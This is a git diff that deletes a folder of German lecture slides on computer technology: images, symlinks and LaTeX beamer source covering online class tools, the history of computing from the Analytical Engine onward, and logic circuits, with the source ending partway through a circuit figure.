diff --git a/20210412/1890s_adding_machine.jpg b/20210412/1890s_adding_machine.jpg deleted file mode 100644 index 6ca2e20f0fa3d6923abfd7278ce6cdf67c188758..0000000000000000000000000000000000000000 Binary files a/20210412/1890s_adding_machine.jpg and /dev/null differ diff --git a/20210412/80486dx2-large.jpg b/20210412/80486dx2-large.jpg deleted file mode 100644 index ba4b32ee9489e862a8bf7b273002351f671f2878..0000000000000000000000000000000000000000 Binary files a/20210412/80486dx2-large.jpg and /dev/null differ diff --git a/20210412/Babbages_Analytical_Engine,_1834-1871._(9660574685).jpg b/20210412/Babbages_Analytical_Engine,_1834-1871._(9660574685).jpg deleted file mode 100644 index ab4c5b44e4509ef9907ad5e50768cf8d75010253..0000000000000000000000000000000000000000 Binary files a/20210412/Babbages_Analytical_Engine,_1834-1871._(9660574685).jpg and /dev/null differ diff --git a/20210412/Drawing-a-circle-with-the-compasses.jpg b/20210412/Drawing-a-circle-with-the-compasses.jpg deleted file mode 100644 index 015546a9502e6ce76334a2c80bfe0c2ef979489f..0000000000000000000000000000000000000000 Binary files a/20210412/Drawing-a-circle-with-the-compasses.jpg and /dev/null differ diff --git a/20210412/Electronic_component_relays.jpg b/20210412/Electronic_component_relays.jpg deleted file mode 100644 index 64dfc8b6d6f1fbc2f0d08cb62b8f81244ca568fb..0000000000000000000000000000000000000000 Binary files a/20210412/Electronic_component_relays.jpg and /dev/null differ diff --git a/20210412/Elektronenroehre_real.png b/20210412/Elektronenroehre_real.png deleted file mode 100644 index 9752168cb151d698c90b4920b060dd3595196f49..0000000000000000000000000000000000000000 Binary files a/20210412/Elektronenroehre_real.png and /dev/null differ diff --git a/20210412/Elektronenroehren-auswahl.jpg b/20210412/Elektronenroehren-auswahl.jpg deleted file mode 100644 index 7c42b321f29ea81b11eb51a191dc9cc2ef7cfd7c..0000000000000000000000000000000000000000 Binary files a/20210412/Elektronenroehren-auswahl.jpg and /dev/null differ diff --git a/20210412/Eniac.jpg b/20210412/Eniac.jpg deleted file mode 100644 index 75c5f42d190017636ff0bba2b49c994779d2c91a..0000000000000000000000000000000000000000 Binary files a/20210412/Eniac.jpg and /dev/null differ diff --git a/20210412/Holding-a-ruling-pen-edited-2.jpg b/20210412/Holding-a-ruling-pen-edited-2.jpg deleted file mode 100644 index 60f9bddd8de07558f46228901e1c9d6716632f00..0000000000000000000000000000000000000000 Binary files a/20210412/Holding-a-ruling-pen-edited-2.jpg and /dev/null differ diff --git a/20210412/IC_Nanotecnology_2400X.JPG b/20210412/IC_Nanotecnology_2400X.JPG deleted file mode 100644 index a64dbfb91048d93f1e9141ef9e433bbf584911cd..0000000000000000000000000000000000000000 Binary files a/20210412/IC_Nanotecnology_2400X.JPG and /dev/null differ diff --git a/20210412/Intel_80486DX2_bottom.jpg b/20210412/Intel_80486DX2_bottom.jpg deleted file mode 100644 index 51196ca09c87a5d8aa9a59d5189e18fd792fc48b..0000000000000000000000000000000000000000 Binary files a/20210412/Intel_80486DX2_bottom.jpg and /dev/null differ diff --git a/20210412/Intel_80486DX2_top.jpg b/20210412/Intel_80486DX2_top.jpg deleted file mode 100644 index fb83e35c9564e3380e0d5314f968fc8fff9f480f..0000000000000000000000000000000000000000 Binary files a/20210412/Intel_80486DX2_top.jpg and /dev/null differ diff --git a/20210412/NPN_transistor_basic_operation.pdf b/20210412/NPN_transistor_basic_operation.pdf deleted file mode 100644 index d9410a272231ec2a425461274355f2120b621165..0000000000000000000000000000000000000000 Binary files a/20210412/NPN_transistor_basic_operation.pdf and /dev/null differ diff --git a/20210412/Relais_offen.jpg b/20210412/Relais_offen.jpg deleted file mode 100644 index b98dea3f2ce919bae7eb22cdefb0d37e449655dd..0000000000000000000000000000000000000000 Binary files a/20210412/Relais_offen.jpg and /dev/null differ diff --git a/20210412/Relay_principle_horizontal.jpg b/20210412/Relay_principle_horizontal.jpg deleted file mode 100644 index ab9ffcd879a04f523118ba1a58f52ee8ad1d30db..0000000000000000000000000000000000000000 Binary files a/20210412/Relay_principle_horizontal.jpg and /dev/null differ diff --git a/20210412/Transistors-white-cropped.jpg b/20210412/Transistors-white-cropped.jpg deleted file mode 100644 index 9b649bb9d9bc55986a6bfc80e571ab04ce7e70f8..0000000000000000000000000000000000000000 Binary files a/20210412/Transistors-white-cropped.jpg and /dev/null differ diff --git a/20210412/Transistors-white.jpg b/20210412/Transistors-white.jpg deleted file mode 100644 index da41c95ecb420a2889c6ecbe4fead88bd9c5107f..0000000000000000000000000000000000000000 Binary files a/20210412/Transistors-white.jpg and /dev/null differ diff --git a/20210412/Z3_Deutsches_Museum.JPG b/20210412/Z3_Deutsches_Museum.JPG deleted file mode 100644 index 9b025ca65f0c0ec1cf9f317dbb80879efdf662da..0000000000000000000000000000000000000000 Binary files a/20210412/Z3_Deutsches_Museum.JPG and /dev/null differ diff --git a/20210412/ada-lovelace.jpg b/20210412/ada-lovelace.jpg deleted file mode 100644 index 596510e71dc0c5551464c1b23596f9363e2379e5..0000000000000000000000000000000000000000 Binary files a/20210412/ada-lovelace.jpg and /dev/null differ diff --git a/20210412/analytic-engine.jpg b/20210412/analytic-engine.jpg deleted file mode 120000 index 954d18cce3d47e5e45d20065adcda6b75a643c80..0000000000000000000000000000000000000000 --- a/20210412/analytic-engine.jpg +++ /dev/null @@ -1 +0,0 @@ -Babbages_Analytical_Engine,_1834-1871._(9660574685).jpg \ No newline at end of file diff --git a/20210412/charles-babbage.jpg b/20210412/charles-babbage.jpg deleted file mode 100644 index 0bf9cc635b90b173b32b010080f133b61327826b..0000000000000000000000000000000000000000 Binary files a/20210412/charles-babbage.jpg and /dev/null differ diff --git a/20210412/logo-hochschule-bochum-cvh-text-v2.pdf b/20210412/logo-hochschule-bochum-cvh-text-v2.pdf deleted file mode 120000 index 4aa99b8f81061aca6dcaf43eed2d9efef40555f8..0000000000000000000000000000000000000000 --- a/20210412/logo-hochschule-bochum-cvh-text-v2.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum-cvh-text-v2.pdf \ No newline at end of file diff --git a/20210412/logo-hochschule-bochum.pdf b/20210412/logo-hochschule-bochum.pdf deleted file mode 120000 index b6b9491e370e499c9276918182cdb82cb311bcd1..0000000000000000000000000000000000000000 --- a/20210412/logo-hochschule-bochum.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum.pdf \ No newline at end of file diff --git a/20210412/pgscript.sty b/20210412/pgscript.sty deleted file mode 120000 index 95c888478c99ea7fda0fd11ccf669ae91be7178b..0000000000000000000000000000000000000000 --- a/20210412/pgscript.sty +++ /dev/null @@ -1 +0,0 @@ -../common/pgscript.sty \ No newline at end of file diff --git a/20210412/pgslides.sty b/20210412/pgslides.sty deleted file mode 120000 index 5be1416f4216f076aa268901f52a15d775e43f64..0000000000000000000000000000000000000000 --- a/20210412/pgslides.sty +++ /dev/null @@ -1 +0,0 @@ -../common/pgslides.sty \ No newline at end of file diff --git a/20210412/rtech-20210412.pdf b/20210412/rtech-20210412.pdf deleted file mode 100644 index 01e642d327a92449540ccded74f2747b4891d08a..0000000000000000000000000000000000000000 Binary files a/20210412/rtech-20210412.pdf and /dev/null differ diff --git a/20210412/rtech-20210412.tex b/20210412/rtech-20210412.tex deleted file mode 100644 index 1453fb30ecb09701d44d885ca33cad33c7f90eb5..0000000000000000000000000000000000000000 --- a/20210412/rtech-20210412.tex +++ /dev/null @@ -1,1343 +0,0 @@ -% rtech-20210412.pdf - Lecture Slides on Computer Technology -% Copyright (C) 2012, 2013, 2014, 2021 Peter Gerwinski -% -% This document is free software: you can redistribute it and/or -% modify it either under the terms of the Creative Commons -% Attribution-ShareAlike 3.0 License, or under the terms of the -% GNU General Public License as published by the Free Software -% Foundation, either version 3 of the License, or (at your option) -% any later version. -% -% This document is distributed in the hope that it will be useful, -% but WITHOUT ANY WARRANTY; without even the implied warranty of -% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -% GNU General Public License for more details. -% -% You should have received a copy of the GNU General Public License -% along with this document. If not, see <http://www.gnu.org/licenses/>. -% -% You should have received a copy of the Creative Commons -% Attribution-ShareAlike 3.0 Unported License along with this -% document. If not, see <http://creativecommons.org/licenses/>. - -% README: Logik-Schaltkreise - -\documentclass[10pt,t]{beamer} - -\usepackage{pgslides} -\usepackage{pdftricks} -%\usepackage[obeyfamily=false,mathrm=mathsf,textrm=sffamily]{siunitx} -%\usepackage{eurosym} - -\newrgbcolor{orange}{0.7 0.2 0.0} - -\newcommand{\Cin}{C\raisebox{-0.5ex}{\footnotesize in}} -\newcommand{\Cout}{C\raisebox{-0.5ex}{\footnotesize out}} - -\begin{psinputs} - \usepackage[latin1]{inputenc} - \usepackage[german]{babel} - \usepackage[T1]{fontenc} - \usepackage{helvet} - \renewcommand*\familydefault{\sfdefault} - \usepackage{pstricks,pst-grad,pst-circ-pg} - \newcommand{\invisible}{\tiny\color{white}} - \psset{unit=1cm} - \psset{logicLabelstyle=\invisible} - \newcommand{\logicSymbol}{\small\boldmath\bf\rule{0pt}{0.5cm}} - \psset{logicSymbolstyle=\logicSymbol} - \newcommand{\Cin}{C\raisebox{-0.5ex}{\footnotesize in}} - \newcommand{\Cout}{C\raisebox{-0.5ex}{\footnotesize out}} -\end{psinputs} - -\title{Rechnertechnik} -\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski} -\date{12.\ April 2021} - -\begin{document} - -\maketitleframe - -\sectionnonumber{Vorab: Online-Werkzeuge} - -\begin{frame} - - \showsectionnonumber - \begin{itemize} - \item - \textbf{Mumble}: Seminarraum 2\\ - Fragen: Mikrophon einschalten oder über den Chat\\ - Umfragen: über den Chat - \smallskip - \item - \textbf{VNC}: Kanal 6, Passwort: \lstinline[style=cmd]{testcvh}\\ - Eigenen Bildschirm freigeben: per VNC-Server oder Web-Interface\\ - Kamerabild übertragen: Link zu Web-Interface auf Anfrage - \smallskip - \item - Allgemeine Informationen: - \url{https://www.cvh-server.de/online-werkzeuge/} - \smallskip - \item - Notfall-Schnellzugang: \url{https://www.cvh-server.de/virtuelle-raeume/}\\ - Seminarraum 2, VNC-Passwort: \lstinline[style=cmd]{testcvh} - \smallskip - \item - Bei Problemen: bitte notieren:\\ - Art des Problems, genaue Uhrzeit, JavaScript-Fehlermeldungen (F12) - \bigskip - \item - GitLab: \url{https://gitlab.cvh-server.de/pgerwinski/rtech}\\ - Links auf die Datei klicken, nicht mittig auf den Kommentar. - \end{itemize} - -\end{frame} - -\begin{frame}[fragile] - - \vspace{-0.6cm} - \begin{center} - \begin{pdfpic} - \psscalebox{0.8}{% - \begin{pspicture}(-5,0)(12,12) - \small - \psset{unit=0.5cm} - \psline[arrows=<->](-1,0)(-1,22) - \rput(-1.3,0){\makebox(0,0)[br]{\textbf{gegenständlich}}} - \rput(-1.3,22){\makebox(0,0)[tr]{\textbf{abstrakt}}} - \rput(-1.3,2){\makebox(0,0)[r]{Elektromagnetismus, Halbleiter}} - \rput(-1.3,4){\makebox(0,0)[r]{Elektronische Bauelemente}} - \rput(-1.3,6){\makebox(0,0)[r]{Logik-Schaltkreise}} - \rput(-1.3,8){\makebox(0,0)[r]{Prozessoren}} - \rput(-1.3,9){\makebox(0,0)[r]{Maschinensprache}} - \rput(-1.3,10){\makebox(0,0)[r]{Assembler}} - \rput(-1.3,11){\makebox(0,0)[r]{Ein-/Ausgabe}} - \rput(-1.3,12.35){\makebox(0,0)[r]{\textbf{hardwarenahe Programmierung} (z.\,B.\ in C)}} - \rput(-1.3,14){\makebox(0,0)[r]{\shortstack[r]{abstrahierende Programmierung\\(z.\,B.\ in C++, Java)}}} -% \rput(-1.3,15){\makebox(0,0)[r]{Programmierung}} - \rput(-1.3,16){\makebox(0,0)[r]{Algorithmen, Datenstrukturen, Software-Entwurf}} - \rput(-1.3,17){\makebox(0,0)[r]{Requirements Engineering}} - \rput(-1.3,18){\makebox(0,0)[r]{formale Sprachen, Berechenbarkeit}} - \rput(-1.3,19){\makebox(0,0)[r]{mathematische Strukturen}} - \rput(-1.3,20){\makebox(0,0)[r]{mathematische Beweise}} - \rput(2.1,0.5){\makebox(0,0)[l]{Physik}} - \rput(4.1,4){\makebox(0,0)[l]{Elektrotechnik}} - \rput(6.1,8){\makebox(0,0)[l]{\textbf{Rechnertechnik}}} - \rput(8.1,12.35){\makebox(0,0)[l]{angewandte Informatik}} - \rput(10.1,16){\makebox(0,0)[l]{\shortstack[l]{Softwaretechnik und\\theoretische Informatik}}} - \rput(12.1,21){\makebox(0,0)[l]{Mathematik}} - \psset{linewidth=0.001,linestyle=none,fillstyle=gradient,gradmidpoint=1.0,gradlines=1000} - \definecolor{RGBwhite}{rgb}{1.0,1.0,1.0} - \definecolor{RGBblue}{rgb}{0.0,0.0,1.0} - \definecolor{RGBred}{rgb}{1.0,0.0,0.0} - \definecolor{RGBgreen}{rgb}{0.0,1.0,0.0} - \definecolor{RGByellow}{rgb}{1.0,1.0,0.0} - \definecolor{RGBorange}{rgb}{1.0,0.7,0.0} - \definecolor{RGBgrey}{rgb}{0.7,0.7,0.7} - \rput(0,2){\psframe[gradbegin=RGBwhite,gradend=RGBblue](2,2)} - \rput(0,0){\psframe[fillstyle=solid,fillcolor=RGBblue](2,2.01)} - \rput(2,6){\psframe[gradbegin=RGBwhite,gradend=RGBred](2,2)} - \rput(2,2){\psframe[gradbegin=RGBred,gradend=RGBwhite](2,2)} - \rput(2,3.99){\psframe[fillstyle=solid,fillcolor=RGBred](2,2.02)} - \rput(4,10){\psframe[gradbegin=RGBwhite,gradend=RGBgreen](2,2)} - \rput(4,6){\psframe[gradbegin=RGBgreen,gradend=RGBwhite](2,2)} - \rput(4,7.99){\psframe[fillstyle=solid,fillcolor=RGBgreen](2,2.02)} - \rput(6,14){\psframe[gradbegin=RGBwhite,gradend=RGByellow](2,2)} - \rput(6,10){\psframe[gradbegin=RGByellow,gradend=RGBwhite](2,2)} - \rput(6,11.99){\psframe[fillstyle=solid,fillcolor=RGByellow](2,2.02)} - \rput(8,18){\psframe[gradbegin=RGBwhite,gradend=RGBorange](2,2)} - \rput(8,14){\psframe[gradbegin=RGBorange,gradend=RGBwhite](2,2)} - \rput(8,15.99){\psframe[fillstyle=solid,fillcolor=RGBorange](2,2.02)} - \rput(10,18){\psframe[gradbegin=RGBgrey,gradend=RGBwhite](2,2)} - \rput(10,19.99){\psframe[fillstyle=solid,fillcolor=RGBgrey](2,2.01)} - \end{pspicture} - } - \end{pdfpic} - \end{center} - -\end{frame} - -\iffalse - -\begin{frame}[fragile] - - \vspace{-0.6cm} - \begin{center} - \begin{pdfpic} - \psscalebox{0.8}{% - \begin{pspicture}(-5,0)(12,12) - \small - \psset{unit=0.5cm} - \psline[arrows=<->](-1,0)(-1,22) - \rput(-1.3,0){\makebox(0,0)[br]{\textbf{gegenständlich}}} - \rput(-1.3,22){\makebox(0,0)[tr]{\textbf{abstrakt}}} - \rput(-1.3,2){\makebox(0,0)[r]{Elektromagnetismus, Halbleiter}} - \rput(-1.3,4){\makebox(0,0)[r]{Elektronische Bauelemente}} - \rput(-1.3,6){\makebox(0,0)[r]{Logik-Schaltkreise}} - \rput(-1.3,8){\makebox(0,0)[r]{Prozessoren}} - \rput(-1.3,9){\makebox(0,0)[r]{Maschinensprache}} - \rput(-1.3,10){\makebox(0,0)[r]{Assembler}} - \rput(-1.3,11){\makebox(0,0)[r]{Ein-/Ausgabe}} - \rput(-1.3,12){\makebox(0,0)[r]{maschinennahe Hochsprachen (z.\,B.\ C)}} - \rput(-1.3,14){\makebox(0,0)[r]{abstrahierende Hochsprachen (z.\,B.\ C++, Java)}} - \rput(-1.3,15){\makebox(0,0)[r]{Programmierung}} - \rput(-1.3,16){\makebox(0,0)[r]{Algorithmen, Datenstrukturen, Software-Entwurf}} - \rput(-1.3,17){\makebox(0,0)[r]{Requirements Engineering}} - \rput(-1.3,18){\makebox(0,0)[r]{formale Sprachen, Berechenbarkeit}} - \rput(-1.3,19){\makebox(0,0)[r]{mathematische Strukturen}} - \rput(-1.3,20){\makebox(0,0)[r]{mathematische Beweise}} - \rput(2.1,0.5){\makebox(0,0)[l]{Physik}} - \rput(4.1,4){\makebox(0,0)[l]{Elektrotechnik}} - \rput(6.1,8){\makebox(0,0)[l]{\shortstack[l]{Rechnertechnik und\\technische Informatik}}} - \rput(8.1,12){\makebox(0,0)[l]{\shortstack[l]{Praktische und\\angewandte Informatik}}} - \rput(10.1,16){\makebox(0,0)[l]{\shortstack[l]{Softwaretechnik und\\theoretische Informatik}}} - \rput(12.1,21){\makebox(0,0)[l]{Mathematik}} - \psset{linewidth=0.001,linestyle=none,fillstyle=gradient,gradmidpoint=1.0,gradlines=1000} - \definecolor{RGBwhite}{rgb}{1.0,1.0,1.0} - \definecolor{RGBblue}{rgb}{0.0,0.0,1.0} - \definecolor{RGBred}{rgb}{1.0,0.0,0.0} - \definecolor{RGBgreen}{rgb}{0.0,1.0,0.0} - \definecolor{RGByellow}{rgb}{1.0,1.0,0.0} - \definecolor{RGBorange}{rgb}{1.0,0.7,0.0} - \definecolor{RGBgrey}{rgb}{0.7,0.7,0.7} - \rput(0,2){\psframe[gradbegin=RGBwhite,gradend=RGBblue](2,2)} - \rput(0,0){\psframe[fillstyle=solid,fillcolor=RGBblue](2,2.01)} - \rput(2,6){\psframe[gradbegin=RGBwhite,gradend=RGBred](2,2)} - \rput(2,2){\psframe[gradbegin=RGBred,gradend=RGBwhite](2,2)} - \rput(2,3.99){\psframe[fillstyle=solid,fillcolor=RGBred](2,2.02)} - \rput(4,10){\psframe[gradbegin=RGBwhite,gradend=RGBgreen](2,2)} - \rput(4,6){\psframe[gradbegin=RGBgreen,gradend=RGBwhite](2,2)} - \rput(4,7.99){\psframe[fillstyle=solid,fillcolor=RGBgreen](2,2.02)} - \rput(6,14){\psframe[gradbegin=RGBwhite,gradend=RGByellow](2,2)} - \rput(6,10){\psframe[gradbegin=RGByellow,gradend=RGBwhite](2,2)} - \rput(6,11.99){\psframe[fillstyle=solid,fillcolor=RGByellow](2,2.02)} - \rput(8,18){\psframe[gradbegin=RGBwhite,gradend=RGBorange](2,2)} - \rput(8,14){\psframe[gradbegin=RGBorange,gradend=RGBwhite](2,2)} - \rput(8,15.99){\psframe[fillstyle=solid,fillcolor=RGBorange](2,2.02)} - \rput(10,18){\psframe[gradbegin=RGBgrey,gradend=RGBwhite](2,2)} - \rput(10,19.99){\psframe[fillstyle=solid,fillcolor=RGBgrey](2,2.01)} - \end{pspicture} - } - \end{pdfpic} - \end{center} - -\end{frame} - -\begin{frame}[fragile] - - \vspace{-0.6cm} - \begin{center} - \begin{pdfpic} - \psscalebox{0.8}{% - \begin{pspicture}(-5,0)(12,12) - \small - \psset{unit=0.5cm} - \psline[arrows=<->](-1,0)(-1,22) - \rput(-1.3,0){\makebox(0,0)[br]{\textbf{gegenständlich}}} - \rput(-1.3,22){\makebox(0,0)[tr]{\textbf{abstrakt}}} - \rput(-1.3,2){\makebox(0,0)[r]{\color{lightgray}Elektromagnetismus, Halbleiter}} - \rput(-1.3,4){\makebox(0,0)[r]{\color{lightgray}Elektronische Bauelemente}} - \rput(-1.3,6){\makebox(0,0)[r]{Logik-Schaltkreise}} - \rput(-1.3,8){\makebox(0,0)[r]{Prozessoren}} - \rput(-1.3,9){\makebox(0,0)[r]{Maschinensprache}} - \rput(-1.3,10){\makebox(0,0)[r]{Assembler}} - \rput(-1.3,11){\makebox(0,0)[r]{Ein-/Ausgabe}} - \rput(-1.3,12){\makebox(0,0)[r]{maschinennahe Hochsprachen (z.\,B.\ C)}} - \rput(-1.3,14){\makebox(0,0)[r]{abstrahierende Hochsprachen (z.\,B.\ C++, Java)}} - \rput(-1.3,15){\makebox(0,0)[r]{Programmierung}} - \rput(-1.3,16){\makebox(0,0)[r]{Algorithmen, Datenstrukturen, Software-Entwurf}} - \rput(-1.3,17){\makebox(0,0)[r]{\color{lightgray}Requirements Engineering}} - \rput(-1.3,18){\makebox(0,0)[r]{\color{lightgray}formale Sprachen, Berechenbarkeit}} - \rput(-1.3,19){\makebox(0,0)[r]{\color{lightgray}mathematische Strukturen}} - \rput(-1.3,20){\makebox(0,0)[r]{\color{lightgray}mathematische Beweise}} - \rput(2.1,0.5){\makebox(0,0)[l]{\color{lightgray}Physik}} - \rput(4.1,4){\makebox(0,0)[l]{\color{lightgray}Elektrotechnik}} - \rput(6.1,8){\makebox(0,0)[l]{\shortstack[l]{Rechnertechnik \color{lightgray}und\\\color{lightgray}technische Informatik}}} - \rput(8.1,12){\makebox(0,0)[l]{\shortstack[l]{{\color{lightgray}Praktische und}\\\color{lightgray}angewandte Informatik}}} - \rput(10.1,16){\makebox(0,0)[l]{\shortstack[l]{\color{lightgray}Softwaretechnik und\\\color{lightgray}theoretische Informatik}}} - \rput(12.1,21){\makebox(0,0)[l]{\color{lightgray}Mathematik}} - \psset{linewidth=0.001,linestyle=none,fillstyle=gradient,gradmidpoint=1.0,gradlines=1000} - \definecolor{RGBwhite}{rgb}{1.0,1.0,1.0} - \definecolor{RGBblue}{rgb}{0.0,0.0,1.0} - \definecolor{RGBred}{rgb}{1.0,0.0,0.0} - \definecolor{RGBgreen}{rgb}{0.0,1.0,0.0} - \definecolor{RGByellow}{rgb}{1.0,1.0,0.0} - \definecolor{RGBorange}{rgb}{1.0,0.7,0.0} - \definecolor{RGBgrey}{rgb}{0.7,0.7,0.7} - \rput(0,2){\psframe[gradbegin=RGBwhite,gradend=RGBblue](2,2)} - \rput(0,0){\psframe[fillstyle=solid,fillcolor=RGBblue](2,2.01)} - \rput(2,6){\psframe[gradbegin=RGBwhite,gradend=RGBred](2,2)} - \rput(2,2){\psframe[gradbegin=RGBred,gradend=RGBwhite](2,2)} - \rput(2,3.99){\psframe[fillstyle=solid,fillcolor=RGBred](2,2.02)} - \rput(4,10){\psframe[gradbegin=RGBwhite,gradend=RGBgreen](2,2)} - \rput(4,6){\psframe[gradbegin=RGBgreen,gradend=RGBwhite](2,2)} - \rput(4,7.99){\psframe[fillstyle=solid,fillcolor=RGBgreen](2,2.02)} - \rput(6,14){\psframe[gradbegin=RGBwhite,gradend=RGByellow](2,2)} - \rput(6,10){\psframe[gradbegin=RGByellow,gradend=RGBwhite](2,2)} - \rput(6,11.99){\psframe[fillstyle=solid,fillcolor=RGByellow](2,2.02)} - \rput(8,18){\psframe[gradbegin=RGBwhite,gradend=RGBorange](2,2)} - \rput(8,14){\psframe[gradbegin=RGBorange,gradend=RGBwhite](2,2)} - \rput(8,15.99){\psframe[fillstyle=solid,fillcolor=RGBorange](2,2.02)} - \rput(10,18){\psframe[gradbegin=RGBgrey,gradend=RGBwhite](2,2)} - \rput(10,19.99){\psframe[fillstyle=solid,fillcolor=RGBgrey](2,2.01)} - \end{pspicture} - } - \end{pdfpic} - \end{center} - -\end{frame} - -\fi - -\sectionnonumber{Rechnertechnik} - -\begin{frame} - - \showsectionnonumber - - Rechner (engl.: Computer) = Werkzeug, das beim Rechnen hilft - \only<3->{% - \begin{picture}(0,0) - \color{red} - \put(-4.9,-0.6){$\overbrace{\text{dem menschlichen Hirn}}$} - \end{picture}} - - \bigskip - - \begin{itemize} - \pause - \item - {\only<8>{\color{medgreen}}Finger} - \pause - \pause - \item - {\only<8>{\color{medgreen}}Papier und Bleistift, Sand, Tontafeln etc.} - \pause - \item - {\only<8>{\color{orange}}Zirkel und Lineal} - \only<.(1)>{\\\strut\hfill - \includegraphics[width=4.5cm]{Drawing-a-circle-with-the-compasses.jpg}% - \includegraphics[width=4.0cm]{Holding-a-ruling-pen-edited-2.jpg}\\\vspace*{-4cm}} - \pause - \item - {\only<8>{\color{medgreen}}Abakus} - \item - {\only<8>{\color{medgreen}}Mechanische Rechenmaschine} - \only<.(1)>{\hfill\makebox(0,0)[r]{\begin{minipage}{4.5cm}\vspace*{2.6cm} - \includegraphics[width=4.5cm]{1890s_adding_machine.jpg}\end{minipage}}} - \item - {\only<8>{\color{orange}}Rechenschieber} - \item - {\only<8>{\color{medgreen}}Taschenrechner} - \pause - \item - {\only<8>{\color{orange}}\only<.(2)>{Analog-}Computer} - \pause - \item - {\only<8>{\color{medgreen}}(Digital-)Computer} -% \hfill {\color{orange}analog} / {\color{medgreen}digital} - \end{itemize} - -\end{frame} - -\subsectionnonumber{Was ist ein Computer?} - -\begin{frame} - - \showsectionnonumber - - \showsubsectionnonumber - - \begin{itemize} - \item - Rechner (engl.: Computer)\\ - = Werkzeug, das (dem menschlichen Gehirn) beim Rechnen hilft - \medskip - \item - Computer (im engeren Sinne)\\ - = Turing-vollständiger Rechner\\\pause - = programmierbar mit \lstinline{while}\\ - = programmierbar mit \lstinline{if} und \lstinline{goto} - \end{itemize} - -\end{frame} - -\begin{frame} - - \begin{center} - - \includegraphics[width=10.5cm]{analytic-engine.jpg} - - Turing-vollständiger Computer aus Zahnrädern: Analytic Engine (1837) - - \end{center} - -\end{frame} - -\begin{frame} - - \showsectionnonumber - - \showsubsectionnonumber - - \begin{center} - \begin{minipage}{6cm} - \begin{center} - \includegraphics[height=4cm]{charles-babbage.jpg} - - \smallskip - - \footnotesize - Charles Babbage (1791--1871) - \end{center} - \end{minipage} - \begin{minipage}{6cm} - \begin{center} - \includegraphics[height=4cm]{ada-lovelace.jpg} - - \smallskip - - \footnotesize - Ada Lovelace (1815--1852) - \end{center} - \end{minipage} - \end{center} - - \medskip - - Turing-vollständiger Computer aus Zahnrädern: Analytic Engine (1837) - \begin{itemize} - \item - mechanische Rechenmaschine (Antrieb: Dampfmaschine) - \item - funktionsfähig geplant von Charles Babbage (nie gebaut) - \item - programmiert von Ada Lovelace (erste Computer-Programme der Welt) - \end{itemize} - -\end{frame} - -\sectionnonumber{\inserttitle} - -\begin{frame} - - \showsectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \begin{itemize} - \color{medgreen} - \item[1.1] Was ist Rechnertechnik? - \item[1.2] Was ist ein Computer? -% \item[1.3] Rechnertechnik im Verhältnis zu anderen Disziplinen - \end{itemize} - \item[\textbf{2}] \textbf{Vom Schaltkreis zum Computer} - \begin{itemize} - \color{red} - \item[2.1] Logik-Schaltkreise - \item[2.2] Binärdarstellung von Zahlen - \item[2.3] Vom Logik-Schaltkreis zum Addierer - \color{black} - \item[2.4] Negative Zahlen - \item[2.5] Vom Addierer zum Computer - \item[\dots] - \end{itemize} - \color{gray} - \item[\textbf{3}] \textbf{Architekturmerkmale von Prozessoren} - \item[\textbf{4}] \textbf{Der CPU-Stack} -% \item[\textbf{5}] \textbf{Hardwarenahe Programmierung} -% \item[\textbf{6}] \textbf{Anwender-Software} -% \item[\textbf{7}] \textbf{Bus-Systeme} -% \item[\textbf{8}] \textbf{Pipelining} - \item[\textbf{\dots\hspace{-0.75em}}] -% \item[\textbf{9}] \textbf{Ausblick} - \end{itemize} - -\end{frame} - -\section{Einführung} -\section{Vom Schaltkreis zum Computer} -\subsection{Logik-Schaltkreise} - -\begin{frame}[fragile] - - \showsection - \vspace{-\smallskipamount} - \showsubsection - - \medskip - - {\large\textbf{Logik mit Lichtschaltern}} - - \strut\hfill - \begin{minipage}[t]{6cm} - \vbox to 0pt{% - \begin{visibleenv}<1-3> - \begin{pdfpic} - \newcommand{\invisible}{\tiny\color{white}} - \psset{logicLabelstyle=\invisible} - \newcommand{\logicSymbol}{\small\boldmath\bf\rule{0pt}{0.5cm}} - \psset{logicSymbolstyle=\logicSymbol} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-3,-2)(3,2) - \pnode(-1.5,0.75){C0plus} - \pnode(-0.5,0){C0} - \pnode(0.5,0.3){D0} - \pnode(0.5,-0.3){E0} - \pnode(2.0,-0.3){C1} - \pnode(3.0,0){D1} - \pnode(3.0,-0.6){E1} - \rput(0,0.55){A} - \psline[arrows=*-,linewidth=2\pslinewidth](C0)(D0) - \rput(2.5,0.2){B} - \psline[arrows=*-,linewidth=2\pslinewidth](C1)(D1) - \uput[180](C0plus){\textbf{+}} - \psline[arrows=->,arrowsize=0.3](C0)(-1.5,0|C0)(C0plus){} - \psline[arrows=o-](1.5,0|D0)(D0) - \psline[arrows=o-](4.0,0|D1)(D1) - \psline(E0)(C1) - \psline(E1)(4.5,-0.6) - \lamp(4.5,-0.6)(4.5,-2.6){~~Q} - \ground[connectingdot=false](4.5,-2.6) - \end{pspicture} - \end{pdfpic} - \end{visibleenv} - \begin{visibleenv}<3> - \\[-1cm] - \begin{minipage}{2.5cm} - \begin{tabular}{|c|c||c|}\hline - A & B & Q \\\hline\hline - 0 & 0 & 0 \\\hline - 0 & 1 & 0 \\\hline - 1 & 0 & 0 \\\hline - 1 & 1 & 1 \\\hline - \end{tabular} - \end{minipage}% - \begin{minipage}{3.5cm} - \vspace*{1cm} - \begin{pdfpic} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-3,-2)(3,2) - \logic[logicType=and](-0.75,-0.125){and1} - \psline[arrows=o-](-2,0|and12)(and12) - \uput[180](-2,0|and12){A} - \psline[arrows=o-](-2,0|and11)(and11) - \uput[180](-2,0|and11){B} - \psline[arrows=o-](2,0|and1Q)(and1Q) - \uput[0](2,0|and1Q){Q} - \end{pspicture} - \end{pdfpic} - \end{minipage} - \end{visibleenv} - \vss - }% - \vbox to 0pt{% - \begin{visibleenv}<4-6> - \begin{pdfpic} - \newcommand{\invisible}{\tiny\color{white}} - \psset{logicLabelstyle=\invisible} - \newcommand{\logicSymbol}{\small\boldmath\bf\rule{0pt}{0.5cm}} - \psset{logicSymbolstyle=\logicSymbol} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-3,-2)(3,2) - \pnode(-1.5,0.75){C0plus} - \pnode(-0.5,0){C0} - 